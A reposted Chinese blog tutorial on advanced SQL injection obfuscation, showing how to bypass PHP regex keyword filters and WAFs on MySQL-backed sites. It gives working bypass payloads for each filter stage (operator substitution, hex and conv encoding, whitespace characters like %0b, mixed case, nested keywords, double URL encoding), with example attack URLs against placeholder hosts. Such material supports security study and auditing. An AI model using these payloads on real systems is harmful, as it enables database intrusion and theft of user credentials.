A-A+

高级SQL注入:混淆和绕过

2020年02月22日 文章转载 暂无评论 阅读 680 views 次

最近在学习代码审计,于是发现了这篇文章,然后转过来学习学习, 并稍加了修改

也不知道这位大哥转的谁的文章,也没有附上原文链接,

转发地址:https://blog.csdn.net/ncafei/article/details/62044552


简介:

本文将要揭示能用于现实CMSs和WAFs程序中的高级绕过技术和混淆技术,
文中所提到的SQL注入语句仅仅是一些绕过保护的方法,
另外本文所有内容仅可用于安全研究,如有其它不正当的行为,后果自负。


目录:


过滤规避(Mysql):


本节将讲解基于PHP和MySQL的过滤规避行为以及如何绕过过滤


绕过函数和关键词过滤

关键词过滤: and , or

PHP过滤代码:

preg_match('/(and|or)/i',$id)

/i 模式修饰符,表示忽略大小写

关键词and,or常被用做简单测试网站是否容存在注入。

过滤注入:

1 or 1 = 1    1 and 1 = 1

绕过注入:

1 || 1 = 1    1 && 1 = 1

关键词过滤:and , or , union

PHP过滤代码:

preg_match ('/(and|or|union)/i',$id)

关键词union通常被用来构造一个恶意的语句以从数据库中获取更多数据。

过滤注入:

union select user,password from users

绕过注入:

1 || (select  user  from  users  where  user_id = 1)='admin'

|| 管道符后边的意思就是,从users表中查找 user_id = 1 的 user 数据是不是 admin


关键词过滤:and , or , union , where

PHP过滤代码:

preg_match ('/(and|or|union|where)/i',$id)

过滤注入:

1|| (select user from users where user_id = 1) = 'admin'

绕过注入:

1|| (select user from users limit 1)='admin'

limit 默认的初始行是从0行开始

limit 1 意思是 选取第一条数据。


关键词过滤:and , or , union , where , limit

PHP过滤代码:

preg_match ('/(and|or|union|where|limit)/i',$id)

关键词union通常被用来构造一个恶意的语句以从数据库中获取更多数据。

过滤注入:

1|| (select  user  from  users  limit 1) ='admin'

绕过注入:

1|| (select  user  from  users  group  by  user_id  having  user_id=1 ) = 'admin'

GROUP BY 语句通常与聚合函数(count, sum, avg, min, or max.) 等联合使用来得到一个或多个列的结果集,

HAVING 语句通常与GROUP BY语句联合使用,用来过滤由GROUP BY语句返回的记录集,

在这里,你可以这样理解,就是

group by 查找字段为 user_id 的所有数据,然后用 having 筛选 user_id=1 的那条数据。


关键词过滤:and , or , union , where , limit , group by

PHP过滤代码:

preg_match ('/(and|or|union|where|limit|group by)/i',$id)

关键词union通常被用来构造一个恶意的语句以从数据库中获取更多数据。

过滤注入:

1|| (select  user  from  users  group by  user_id  having  user_id  =1) ='admin'

绕过注入:

1|| (select  substr(group_concat(user_id),0,1) user  from  users  )=1

group_concat() 函数将组中的字符串连接成为具有各种选项的单个字符串。,

语法:group_concat(要连接的字段,排序字段,分隔符(默认是逗号)),

为了更好的理解 group_concat() 函数 ,我们可以简单测试一下 group_concat(user_id) 这句sql语句

首先一张表的数据为

images


然后使用group_concat() 函数 输出一下看看

images

可以看到已经将id全部输出,并且用逗号分隔开了


substr() 函数用来切割字符串。

语法:substr(string,start,length)

这条语句我们变换一下,

相当于这样:

substr('1,2,3,4,5',0,1)

0 意思是从第0位开始,1意思是 到第1位结束,

然后输出就是 1

整条sql语句最后就变成:

1|| (select  1)=1

select 1 也等于 1 ,

最后就变成 1|| 1=1 条件为真。


关键词过滤:and , or , union , where , limit , group by , select ,'(分号)

PHP过滤代码:

preg_match ('/(and|or|union|where|limit|group by|select|\')/i',$id)

过滤注入:

1|| (select substr(group_concat(usr_id),1,1)user from users =1

绕过注入:

1|| user_id is not null
1||substr(user,1,1)=0x61
1||substr(user,1,1)=unhex(61)

首先还是之前那张表,来运行下sql语句看看,

images


0x61 为16进制的a,最后就变成 1||a=a

unhex() 函数: 对十六进制数字转化为一个字符。

最后这条语句也是跟上面一样了。


关键词过滤:and , or , union , where , limit , group by , select ,'(分号) , hex

PHP过滤代码:

preg_match ('/(and|or|union|where|limit|group by|select|\'|hex)/i',$id)

过滤注入:

1||substr(user,1,1)=unhex(61)

绕过注入:

1||substr(user,1,1)=lower(conv(10,10,36))

conv() 函数是用于计算向量的卷积和多项式乘法。

不懂没关系,这篇文章讲的很详细,
https://blog.csdn.net/geming2017/article/details/84256843

虽然看懂了一些,但是太菜了,无法用脚本来计算,

于是本菜稍微去测试了一下,于是有了这个结果,

images


images


第一个数字可以控制输出的字符,第二个数字同样也可以,

第三个数字的话有兴趣的朋友可以自己去试试,


lower() 函数当前字符集映射为小写字母。

知道了函数的作用后面整个绕过语句就很好理解了,


关键词过滤:and , or , union , where , limit , group by , select ,'(分号) , hex , substr

PHP过滤代码:

preg_match ('/(and|or|union|where|limit|group by|select|\'|hex|substr)/i',$id)

过滤注入:

1||substr(user,1,1)=lower(conv(10,10,36))

绕过注入:

1||lpad(user,7,1)

lpad() 字符串左填充函数。

语法: LPAD(str,len,padstr)

用字符串 padstr对 str进行左边填补直至它的长度达到 len个字符长度

然后返回 str。如果 str的长度长于 len,那么它将被截除到 len个字符。

这里是判断user 中数据的长度是否为7,如果不是将用1来填充

简单测试,

images


关键词过滤:and , or , union , where , limit , group by , select ,'(分号) , hex , substr , white space(英文空格,空白区间的意思)

PHP过滤代码:

preg_match ('/(and|or|union|where|limit|group by|select|\'|hex|substr|\s)/i',$id)

过滤注入:

1 || lpad(user,7,1)

绕过注入:

1%0b||%0blpad(user,7,1)

\s 是转移符,用以匹配任何空白字符,包括空格、制表符、换页符等等,

%0b 用来替换空白符。

替换空白符的方法还有 两个空格代替一个空格,用Tab代替空格,%a0=空格

另外,这些都可以用来替换空白符,
%20 %09 %0a %0b %0c %0d %a0 %00 /**/ /*!*/


绕过正则表达式过滤

过滤注入: 1 or 1 = 1

1
2
3
4
5
过滤注入: 1 union select 1,table_name from information_schema.tables where table_name='users'
过滤注入: 1 union select 1,table_name from information_schema.tables where table_name between 'a' and 'z'
过滤注入: 1 union select 1,table_name from information_schema.tables where table_name between char(97) and char(122)
绕过注入: 1 union select 1,table_name from information_schema.tables where table_name between 0x61 and 0x7a
绕过注入: 1 union select 1,table_name from information_schema.tables where table_name like 0x7573657273

常见混淆绕过技术

变换大小写,

某些WAF仅过滤小写的SQL关键词

正则表达式过滤:

preg_match ('/(union|sselect)/i',$id)

/g (全文查找出现的所有匹配字符)

绕过,例:

http://www.xxx.com/index.php?id=1+UnIoN/**/SeLecT/**/1,2,3-- 

替换关键词,

某些程序和WAF用preg_replace函数来去除所有的SQL关键词。

关键词 union 和 select 被去除,

绕过,例:

http://www.xxx.com/index.php?id=1+UNunionION+SEselectLECT+1,2,3--

某些情况下SQL关键词被过滤掉并且被替换成空格。因此我们用%0b来绕过。

绕过,例:

http://www.xxx.com/index.php?id=1+uni%0bon+se%0blect+1,2,3--

对于注释 /**/ 不能绕,那么我们用 %0b 代替 /**/ 。

例:

1
2
过滤: http://www.xxx.com/news/id/1/**/||/**/lpad(first_name,7,1).html
绕过: http://www.xxx.com/news/id/1%0b||%0blpad(first_name,7,1).html

字符编码

大多WAF将对程序的输入进行解码和过滤,

但是某些WAF仅对输入解码一次,那么双重加密就能绕过某些过滤。

例:

绕过: http://www.xxx.com/index.php?id=1%252f%252a*/union%252f%252a/select%252f%252a*/1,2,3%252f%252a*/from%252f%252a*/users--

简单说明一下,

%252f 两次URL解码后就 / 斜杠 ,

%252a 两次URL解码后就 * 星号 ,

其他的可以自己动手多去尝试。


对于某些过滤了 NULL 字符,和 ' 单引号的,

可以使用例如下面的语句进行绕过

1
2
3
过滤: http://www.xxx.com/news/?/**/union/**/select?..
绕过: http://www.xxx.com/news/?/%2A%2A/union/%2A%2A/select?
绕过: http://www.xxx.com/news/?%2f**%2funion%2f**%2fselect

附1:小结

%0D%0A 作为换行符


总结

总体来说这篇文章还是不错的,

里面的绕过方法在实战中我们也经常用到,

不过后面依旧有更多更好的方法需要我们去探索,

加油吧,少年!!!

标签:

给我留言